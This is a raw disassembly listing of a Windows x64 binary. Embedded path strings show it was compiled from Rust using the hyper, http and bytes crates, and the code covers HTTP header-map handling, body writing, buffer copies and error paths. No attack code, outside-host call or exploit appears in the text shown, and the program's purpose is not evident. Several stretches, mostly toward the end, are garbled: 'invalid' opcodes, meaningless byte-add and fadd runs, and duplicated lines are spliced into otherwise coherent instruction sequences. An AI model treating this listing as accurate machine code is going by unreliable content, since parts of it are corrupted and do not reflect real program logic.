mov rax, qword [rsp + 0x1490]
mov qword [rsp + 0x810], rax
movaps xmm0, xmmword [rsp + 0x1450]
mov rax, qword [rsp + 0x1460]
mov rcx, qword [rsp + 0x1468]
movaps xmm1, xmmword [rsp + 0x1470]
mov rdx, qword [rsp + 0x1480]
mov qword [rsp + 0x800], rdx
mov rdx, qword [rsp + 0x1488]
mov qword [rsp + 0x808], rdx
movaps xmmword [rsp + 0x7f0], xmm1
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], rcx
movaps xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
cmp rax, rcx
mov rbx, qword [rsp + 0x50]
jne 0x140084019
mov rcx, qword [rsp + 0x5d0]
call fcn.140092f50
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
mov rdx, qword [rdi + 0x108]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rdi + 0x100]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 2
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movaps xmm2, xmmword [rsp + 0x7f0]
movaps xmm3, xmmword [rsp + 0x800]
movdqu xmmword [rcx + rdx + 8], xmm0
movdqu xmmword [rcx + rdx + 0x18], xmm1
movups xmmword [rcx + rdx + 0x28], xmm2
movups xmmword [rcx + rdx + 0x38], xmm3
mov r8, qword [rsp + 0x810]
mov qword [rcx + rdx + 0x48], r8
inc rax
mov qword [rdi + 0x110], rax
jmp 0x14008463f
cmp qword [rsp + 0x1450], 0
je 0x14008439e
mov eax, 1
mov rsi, qword [rsp + 0x1460]
mov rcx, rsi
jmp 0x1400843cc
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x7e0], rbp
mov qword [rsp + 0x7e8], rbx
mov rcx, qword [rsp + 0xc0]
lea r12, [rsp + 0x7d0]
mov rdx, r12
call fcn.140092ff0
jmp 0x14008463a
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x7e0], rbp
mov qword [rsp + 0x7e8], rbx
mov rcx, qword [rsp + 0xc0]
lea r12, [rsp + 0x7d0]
mov rdx, r12
call fcn.140092ff0
mov eax, 5
mov rbx, qword [rsp + 0x50]
jmp 0x14008464f
lea r9, [rsp + 0x808]
mov r8d, dword [r9 - 0x27]
mov r9d, dword [r9 - 0x24]
mov dword [rsp + 0x1a3], r9d
mov dword [rsp + 0x1a0], r8d
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], rcx
mov byte [rdi + 0xa0], dl
mov eax, dword [rsp + 0x1a0]
mov ecx, dword [rsp + 0x1a3]
mov rdx, qword [rsp + 0x5d8]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov rcx, r14
call fcn.14005bac0
jmp 0x14008334f
movzx r15d, byte [rsp + 0x1482]
movzx r14d, byte [rsp + 0x1483]
mov eax, r14d
sub al, r15b
movzx r12d, al
add r12, rbp
jb 0x140084ddb
mov rcx, r12
add rcx, 7
jb 0x140084ddb
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x1400842e9
mov r8, qword [rdi + 0xd8]
mov rax, qword [rdi + 0xe8]
sub r8, rax
cmp r8, rcx
jae 0x1400842e9
mov rbx, rax
sub rbx, rdx
jb 0x140085535
mov qword [rdi + 0xe8], 0
je 0x140084234
mov rcx, qword [rdi + 0xe0]
add rdx, rcx
mov r8, rbx
call fcn.140106250
mov qword [rdi + 0xe8], rbx
mov qword [rdi + 0xf0], 0
jmp 0x1400842e9
mov rdx, qword [rsp + 0x1488]
mov rbx, qword [rsp + 0x1490]
lea r12, [rsp + 0x7d0]
mov r15, qword [rsp + 0x30]
test rbx, rbx
je 0x14008437b
mov rax, qword [rdi + 0xd8]
mov r14, qword [rdi + 0xe8]
sub rax, r14
cmp rax, rbx
jb 0x140084356
mov rcx, qword [rdi + 0xe0]
add rcx, r14
mov r8, rbx
call fcn.140106250
add r14, rbx
mov qword [rdi + 0xe8], r14
lea rcx, [rsp + 0x1450]
mov rdx, rbx
call 0x140092db0
movzx r15d, byte [rsp + 0x1482]
movzx r14d, byte [rsp + 0x1483]
mov eax, r14d
sub al, r15b
movzx r12d, al
mov rbp, qword [rsp + 0x1460]
add r12, rbp
jb 0x140084ddb
test r12, r12
je 0x140084250
cmp r14b, r15b
lea r12, [rsp + 0x7d0]
jne 0x140084320
mov rdx, qword [rsp + 0x1458]
mov rbx, rbp
mov r15, qword [rsp + 0x30]
test rbx, rbx
jne 0x140084276
jmp 0x14008437b
movzx edx, r15b
movzx ebx, r14b
jb 0x140084ed0
cmp r14b, 0x12
mov r15, qword [rsp + 0x30]
ja 0x140084ebc
sub rbx, rdx
lea rax, [rsp + 0x1470]
add rdx, rax
test rbx, rbx
jne 0x140084276
jmp 0x14008437b
mov rcx, qword [rsp + 0xc0]
mov r15, rdx
mov rdx, r14
mov r8, rbx
call fcn.140109710
mov rdx, r15
mov r14, qword [rdi + 0xe8]
jmp 0x140084290
mov rax, qword [rsp + 0x1450]
mov rdx, qword [rsp + 0x1458]
lea rcx, [rsp + 0x1468]
mov r8, rbp
call qword [rax + 0x10]
jmp 0x140084632
mov rdx, qword [rsp + 0x1458]
mov rax, qword [rsp + 0x1460]
mov rcx, r12
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x7e0]
mov rax, qword [rsp + 0x7d0]
mov rsi, qword [rsp + 0x7d8]
test rax, rax
sete bl
cmp rcx, rsi
setne bpl
movaps xmm0, xmmword [rsp + 0x1450]
movaps xmm1, xmmword [rsp + 0x1460]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
mov r14, qword [rdi + 0x1d8]
cmp qword [r14], 0
je 0x14008440f
lea rcx, [r14 + 8]
call fcn.14005bac0
or bl, bpl
movzx r9d, bl
mov qword [r14], 1
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [r14 + 8], xmm0
movdqu xmmword [r14 + 0x18], xmm1
mov qword [rsp + 0x20], rsi
mov rcx, r12
mov rdx, rdi
lea r8, [rsp + 0x3a0]
call fcn.1400931a0
mov rax, qword [rsp + 0x7d0]
cmp rax, 2
mov rbp, qword [rsp + 0x60]
lea r14, [rsp + 0x1450]
je 0x14008334f
mov rcx, qword [rsp + 0x7d8]
movzx edx, byte [rsp + 0x7e0]
cmp eax, 1
jne 0x140084499
test rcx, rcx
jne 0x140084499
mov eax, edx
and al, 1
movzx eax, al
or rax, 4
jmp 0x1400844b9
lea r9, [rsp + 0x808]
mov r8d, dword [r9 - 0x27]
mov r9d, dword [r9 - 0x24]
mov dword [rsp + 0x1a3], r9d
mov dword [rsp + 0x1a0], r8d
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], rcx
mov byte [rdi + 0xa0], dl
mov eax, dword [rsp + 0x1a0]
mov ecx, dword [rsp + 0x1a3]
mov rdx, qword [rsp + 0x5d8]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
jmp 0x14008334f
cmp rbp, r12
mov rbx, r12
cmovb rbx, rbp
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x140084556
mov rcx, qword [rdi + 0xd8]
mov rax, qword [rdi + 0xe8]
sub rcx, rax
cmp rcx, rbx
jae 0x140084556
mov r14, rax
sub r14, rdx
jb 0x140085535
mov qword [rdi + 0xe8], 0
je 0x14008454b
mov rcx, qword [rdi + 0xe0]
add rdx, rcx
mov r8, r14
call fcn.140106250
mov qword [rdi + 0xe8], r14
mov qword [rdi + 0xf0], 0
mov r14, qword [rsp + 0x1a8]
test r12, r12
je 0x140084611
mov r15, qword [rdi + 0xe8]
nop
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
sub rax, r15
cmp rax, rbx
jb 0x1400845d6
mov rcx, qword [rdi + 0xe0]
add rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.140106250
add r15, rbx
mov qword [rdi + 0xe8], r15
sub r12, rbx
jb 0x140084e95
mov qword [rsp + 0x6a0], rbx
mov r8, rbp
sub r8, rbx
jb 0x140084dff
add r14, rbx
cmp r8, r12
mov rbx, r12
cmovb rbx, r8
mov rbp, r8
test rbx, rbx
jne 0x140084570
jmp 0x1400845f2
mov rcx, qword [rsp + 0xc0]
mov rdx, r15
mov r8, rbx
call fcn.140109710
mov r15, qword [rdi + 0xe8]
jmp 0x140084583
mov qword [rsp + 0x1b0], r8
mov qword [rsp + 0x1a8], r14
mov qword [rsp + 0x1c0], r12
mov r15, qword [rsp + 0x30]
jmp 0x140084614
mov r8, rbp
mov rax, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x1b8]
mov rdx, r14
call qword [rax + 0x10]
lea r12, [rsp + 0x7d0]
lea r14, [rsp + 0x1450]
mov rbx, qword [rsp + 0x50]
cmp byte [rdi + 0xa0], 1
mov eax, 5
sbb rax, 0
mov rcx, qword [rsp + 0xc8]
mov qword [rcx], rax
mov bpl, 1
test r13, r13
mov r13, qword [rsp + 0x58]
jne 0x14008469a
cmp qword [rsp + 0x4b0], 0
je 0x14008469a
mov rax, qword [rsp + 0x4b8]
test rax, rax
je 0x1400846b7
mov rdx, qword [rsp + 0x4c0]
mov r8, qword [rsp + 0x4c8]
lea rcx, [rsp + 0x4d0]
call qword [rax + 0x10]
test bpl, bpl
mov rbp, qword [rsp + 0x60]
je 0x14008334f
cmp qword [rsi], 0
jne 0x140083340
jmp 0x140083348
mov r12, rbx
mov rbx, qword [rsp + 0x4c0]
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x1400846f9
mov r15, qword [rbx + 0x60]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400846f9
cmp qword [r15 + 0x10], 0x11
jb 0x1400846e7
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
shl rax, 1
test rax, rax
lea r14, [rsp + 0x1450]
je 0x14008471f
mov r8, qword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x30]
mov rbx, r12
lea r12, [rsp + 0x7d0]
test bpl, bpl
mov rbp, qword [rsp + 0x60]
jne 0x1400846a8
jmp 0x14008334f
mov rax, qword [rdi + 0x160]
cmp rcx, 2
jne 0x14008479f
test rax, rax
je 0x1400848b2
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 3
xor esi, esi
jmp 0x1400832e3
cmp byte [rdi + 0xc8], 0
jne 0x1400832e3
test rax, rax
jne 0x1400832e3
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call fcn.140090890
mov rbx, rdx
test rax, rax
je 0x140084853
cmp rax, 2
je 0x1400832e3
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov byte [rax + 0x29], 2
mov rsi, rax
mov byte [rax + 0x30], 6
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140085003
mov qword [rax], rbx
mov rdx, rsi
mov qword [rsi], rax
lea rax, [0x14012a648]
mov qword [rsi + 8], rax
xor esi, esi
jmp 0x1400832e3
mov edx, 0
mov esi, 0
test rbx, rbx
jne 0x1400832e3
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
xor esi, esi
jmp 0x1400832e3
mov rdx, rax
jmp 0x140084b37
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call fcn.140090890
mov rcx, rdx
cmp rax, 2
je 0x1400832e3
cmp rax, 1
jne 0x140084ab1
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
call fcn.140037250
mov rdx, rax
cmp byte [rsp + 0x3c0], 3
jne 0x140084ac9
xor esi, esi
jmp 0x1400832e3
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov r14, rax
mov word [rax + 0x30], 1
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
mov r13, qword [rsp + 0x58]
je 0x140085003
mov qword [rax], rbx
mov rdx, r14
mov qword [r14], rax
lea rax, [0x14013cf38]
mov qword [r14 + 8], rax
lea r14, [rsp + 0x1450]
mov rbx, qword [rsp + 0x50]
jmp 0x140084b1c
mov rdx, rax
cmp qword [rsp + 0x4b0], 0
je 0x140084b12
mov r15, rdx
mov rax, qword [rsp + 0x4b8]
test rax, rax
mov r13, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
je 0x140084b72
mov rdx, qword [rsp + 0x4c0]
mov r8, qword [rsp + 0x4c8]
lea rcx, [rsp + 0x4d0]
call qword [rax + 0x10]
mov rdx, r15
mov r15, qword [rsp + 0x30]
jmp 0x140084b1c
mov rax, qword [rdi + 0x1a0]
mov ecx, 1
xchg qword [rax + 0x10], rcx
mov qword [rsp + 0x580], rcx
cmp rcx, 2
jb 0x140084aa4
je 0x140084a20
cmp rcx, 3
je 0x140084aa4
jmp 0x140085586
mov cl, 1
xchg byte [rax + 0x28], cl
test cl, cl
jne 0x140084a20
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov qword [rax + 0x18], 0
mov r8d, 0
xchg byte [rax + 0x28], r8b
test rdx, rdx
je 0x140084aa4
call qword [rdx + 8]
lea r14, [rsp + 0x1450]
jmp 0x1400832fa
mov byte [rdi + 0x1a8], 1
jmp 0x140084a83
lea rcx, [rsp + 0x100]
call fcn.140065ad0
mov rcx, r14
call fcn.140002f70
lea rcx, [rsp + 0x1530]
call fcn.14005bac0
mov byte [rdi + 0x1e0], 1
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
lea r14, [rsp + 0x1450]
jmp 0x1400832fa
test rcx, rcx
je 0x140084b58
call fcn.140037210
mov rdx, rax
xor esi, esi
jmp 0x1400832e3
lea rcx, [rsp + 0x3a0]
mov rsi, rdx
call fcn.140085690
mov rdx, rsi
xor esi, esi
jmp 0x1400832e3
mov r9, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
lea rcx, [rsp + 0x118]
mov rbx, rax
call qword [r9 + 0x10]
mov rdx, rbx
mov rbx, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
cmp qword [rsi], 0
je 0x140084b30
mov rcx, rbx
mov rbx, rdx
call fcn.14005bac0
mov rdx, rbx
mov qword [rsi], 0
xor eax, eax
test rax, rax
jne 0x1400832fa
test rdx, rdx
lea rsi, [rsp + 0x2d0]
je 0x140083310
jmp 0x140084c6a
add byte [rax + 0xd2bf], al
add byte [rax], al
cmp byte [rdi + 0xd2], 0
je 0x140084c06
call fcn.1400371d0
mov rdx, rax
jmp 0x140084c08
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsp + 0x4c0]
rol byte [rax + rax], 0
rol byte [rax + rax], 0
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x140084bb9
mov r12, qword [rbx + 0x60]
mov rcx, r14
call qword [r12]
cmp qword [r12 + 8], 0
je 0x140084bb9
cmp qword [r12 + 0x10], 0x11
jb 0x140084ba7
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
shl rax, 1
test rax, rax
lea r14, [rsp + 0x1450]
je 0x140084bdf
mov r8, qword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, r15
lea r12, [rsp + 0x7d0]
mov r15, qword [rsp + 0x30]
jmp 0x14008497d
xor edx, edx
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
xor esi, esi
jmp 0x1400832e3
mov rax, qword [r13]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx + 0x10]
mov eax, 1
jmp 0x140084c6c
xor edx, edx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20d0]
movaps xmm7, xmmword [rsp + 0x20e0]
movaps xmm8, xmmword [rsp + 0x20f0]
movaps xmm9, xmmword [rsp + 0x2100]
movaps xmm10, xmmword [rsp + 0x2110]
movaps xmm11, xmmword [rsp + 0x2120]
movaps xmm12, xmmword [rsp + 0x2130]
movaps xmm13, xmmword [rsp + 0x2140]
movaps xmm14, xmmword [rsp + 0x2150]
add rsp, 0x2168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbx
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
mov rdx, r13
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r14
mov rdx, rbp
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r14
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, rax
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rdx, rax
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbx
call fcn.1401082d0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x4b0], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x4c0], rcx
mov qword [rsp + 0x4c8], rax
lea rax, [0x140141790]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 2
mov qword [rsp + 0x1c0], 0
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x1a0]
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140108690
lea rcx, [0x140140608]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x14
call fcn.1401086b0
mov qword [rsp + 0x580], rbp
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x300], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x308], rax
lea rcx, [rsp + 0x580]
mov qword [rsp + 0x310], rcx
mov qword [rsp + 0x318], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x300]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108280
lea rcx, [0x1401418e4]
lea r8, [0x140141908]
mov edx, 0x23
call fcn.140108350
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
lea r8, [0x1401419d0]
mov edx, 0x12
mov rcx, rbx
call fcn.140108340
lea r8, [0x1401419d0]
mov rcx, rdx
mov rdx, rbx
call fcn.140108530
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1450], rax
lea rax, [0x14003a5a0]
mov qword [rsp + 0x1458], rax
lea rax, [0x14013fa98]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 1
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1450]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x7d0]
call fcn.140108280
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1450], rax
lea rax, [0x14003a5a0]
mov qword [rsp + 0x1458], rax
lea rax, [0x14013fa98]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 1
fadd dword [rdi]
add byte [rax], al
add dword [rax], eax
add byte [rax], al
fadd dword [rdi]
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1450]
lea eax, [rsp + 0x1450]
lea eax, [rsp + 0x1450]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x7d0]
mov word [rax + rdx*8], fs
invalid
add byte [rax], al
call fcn.140108280
xor cl, byte [rax]
invalid
mov word [rax + rdx*8], fs
invalid
xor cl, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xa6bdb
lea rax, [0x14012bbb0]
mov qword [rsp + 0x20], rax
lea rcx, str.CHUNK_SIZE_MAX_BYTES_should_fit_any_usize
lea r9, [0x14012a6c8]
lea r8, [rsp + 0x70]
lea eax, [rsp + 0x70]
lea eax, [rsp + 0x70]
mov edx, 0x29
call fcn.140108600
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x140085388
mov ecx, 8
mov edx, 8
call fcn.140107fe0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, r13
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, r15
mov rdx, r13
call fcn.140108530
lea rax, [rsp + 0x70]
mov qword [rsp + 0x1a0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x4b0]
mov qword [rsp + 0x1b0], rcx
mov qword [rsp + 0x1b8], rax
lea rax, str.range_start_must_not_be_greater_than_end:
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108280
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov edx, 0x64
mov rcx, r13
call fcn.140108340
lea rcx, [rsp + 0x4c8]
mov rdx, r14
mov r8, rbp
call qword [r13 + 0x10]
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x140085381
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x1a0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0xe0]
jmp 0x140085289
mov ecx, 1
mov rdx, r14
call fcn.140107fc0
lea rcx, [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
mov r8, qword [rsp + 0x1b0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xe0]
test rax, rax
je 0x140085381
lea rcx, [rsp + 0xf8]
jmp 0x14008536e
mov qword [rsp + 0x1a0], rdx
lea rax, [0x14012b1f8]
mov qword [rsp + 0x20], rax
lea rcx, str.just_sent_Ok
lea r9, fcn.140035fe0
lea r8, [rsp + 0x1a0]
mov edx, 0xc
call fcn.140108600
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov edx, 0x64
mov rcx, r13
call fcn.140108340
mov ecx, 8
mov edx, 0x20
call fcn.140107fe0
mov qword [rsp + 0x1a0], r14
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x3a0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x3a8], rax
lea rcx, [rsp + 0x1a0]
mov qword [rsp + 0x3b0], rcx
mov qword [rsp + 0x3b8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x3a0]
jmp 0x140084e6d
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheader_value.rs
call fcn.140108690
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x1a0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x1b0], rcx
mov qword [rsp + 0x1b8], rax
lea rax, str.range_end_out_of_bounds:
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108280
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.1401082d0
lea rcx, [rsp + 0x4c8]
mov rax, qword [rsp + 0x4b0]
mov rdx, qword [rsp + 0x4b8]
mov r8, qword [rsp + 0x4c0]
call qword [rax + 0x10]
test rbx, rbx
je 0x140085381
lea rcx, [rsp + 0x88]
add byte [rax], al
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add bh, bh
push rbx
adc bl, ch
invalid
test byte [rax + rax*4], ah
add byte [rax], al
add bh, bh
push rbx
adc bl, ch
xor al, 0xb9
or byte [rax], al
add byte [rax], al
mov edx, 0x70
call fcn.140107fe0
ud2
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
test byte [rax + riz*8], ah
add byte [rax], al
invalid
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
add eax, 0xbd778
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14012a708]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
mov edx, 0x17
call fcn.140108600
lea rcx, [rsp + 0x4c8]
mov rax, qword [rsp + 0x4b0]
mov rdx, qword [rsp + 0x4b8]
mov r8, qword [rsp + 0x4c0]
call qword [rax + 0x10]
test r13, r13
je 0x140085381
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
